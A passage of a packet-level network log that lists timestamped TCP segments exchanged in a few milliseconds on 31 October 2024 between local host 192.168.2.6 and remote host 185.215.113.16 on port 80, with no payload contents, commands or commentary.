Oct 31, 2024 01:18:31.503825903 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503835917 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503838062 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.503849030 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503859997 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503870010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503874063 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.503881931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503892899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503904104 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503904104 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.503921032 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503931999 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503938913 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.503943920 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503956079 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503967047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503968000 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.503978968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.503988981 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.503989935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504003048 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504014969 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504019976 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504026890 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504034042 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504039049 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504046917 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504050970 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504062891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504077911 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504095078 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504106998 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504106998 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504118919 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504131079 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504141092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504148006 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504154921 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504165888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504168034 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504178047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504189014 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504198074 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504203081 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504224062 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504235983 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504236937 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504250050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504261017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504271984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504283905 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504283905 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504296064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504307032 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504312038 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504319906 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504331112 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504332066 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504367113 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504369974 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504381895 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504393101 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504405022 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504405975 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504417896 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504429102 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504436016 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504440069 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504452944 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504462004 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504462957 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504473925 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504482985 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504503012 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504503012 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504515886 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504527092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504537106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504543066 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504550934 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504560947 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504570007 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504573107 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504581928 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504594088 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504597902 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504606009 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504616022 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504620075 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504632950 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504647017 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504658937 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504659891 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504668951 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504682064 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504703999 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504707098 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504719973 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504728079 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504730940 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504743099 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504754066 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504755974 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504765987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504776955 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504782915 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504790068 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504801989 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504801989 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504832983 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504837036 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504844904 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504857063 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504868984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504880905 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504892111 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504901886 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504910946 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504910946 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504914999 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504920959 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504928112 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504939079 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504961014 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504971027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504981041 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.504981041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.504993916 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505002022 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505004883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505017042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505032063 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505033016 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505048990 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505074024 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505084038 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505099058 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505111933 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505124092 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505134106 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505146027 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505146980 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505157948 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505168915 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505171061 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505179882 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505192041 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505198002 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505202055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505218029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505223036 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505244970 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505256891 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505268097 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505280018 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505285978 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505285978 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505290985 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505302906 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505316019 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505319118 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505326986 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505337954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505343914 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505369902 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505376101 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505388021 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505389929 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505413055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505424976 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505424976 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505450010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505466938 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505470037 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505479097 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505490065 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505500078 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505500078 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505512953 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505525112 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505525112 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505537033 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505548954 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505548954 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505573988 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505579948 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505593061 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505601883 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505614042 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505625010 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505625963 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505636930 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505650043 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505656958 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505661011 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505675077 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505697966 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505700111 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505712986 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505712986 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505723953 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505736113 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505744934 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505745888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505758047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505769968 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505769968 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505780935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505793095 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505804062 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505805969 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505831957 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505835056 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505846024 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505850077 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505858898 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505871058 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505877018 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505882025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505893946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505903959 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505903959 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505916119 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505927086 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505942106 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505955935 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505968094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505969048 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.505979061 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505990028 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.505990982 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506000996 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506012917 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506016970 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506023884 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506042004 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506045103 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506061077 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506062984 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506076097 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506086111 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506098986 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506103992 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506110907 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506124020 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506133080 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506134987 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506143093 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506149054 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506160021 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506174088 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506179094 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506191015 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506197929 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506201982 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506213903 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506225109 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506233931 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506236076 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506248951 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506261110 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506262064 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506273031 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506279945 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506284952 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506295919 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506304026 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506306887 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506320000 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506330013 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506330967 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506342888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506349087 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506355047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506371021 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506387949 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506397009 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506400108 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506412029 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506422997 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506433964 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506439924 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506444931 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506457090 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506457090 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506468058 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506479979 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506480932 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506494999 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506501913 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506535053 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506536961 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506546021 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506556988 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506571054 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506581068 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506582022 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506593943 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506606102 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506617069 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506628036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506638050 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506652117 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506652117 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506666899 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506679058 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506685972 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506690025 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506701946 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506712914 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506716013 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506725073 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506730080 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506736994 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506766081 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506768942 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506782055 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506791115 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506803036 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506814003 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506814957 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506828070 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506839037 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506845951 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506850958 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506863117 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506863117 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506871939 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506875992 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506887913 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506905079 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506917000 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506928921 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506931067 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506939888 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506952047 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506962061 CET	49797	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:18:31.506963015 CET	80	49797	185.215.113.16	192.168.2.6
Oct 31, 2024 01:18:31.506974936 CET	80	49797	185.215.113.16	192.168.2.6
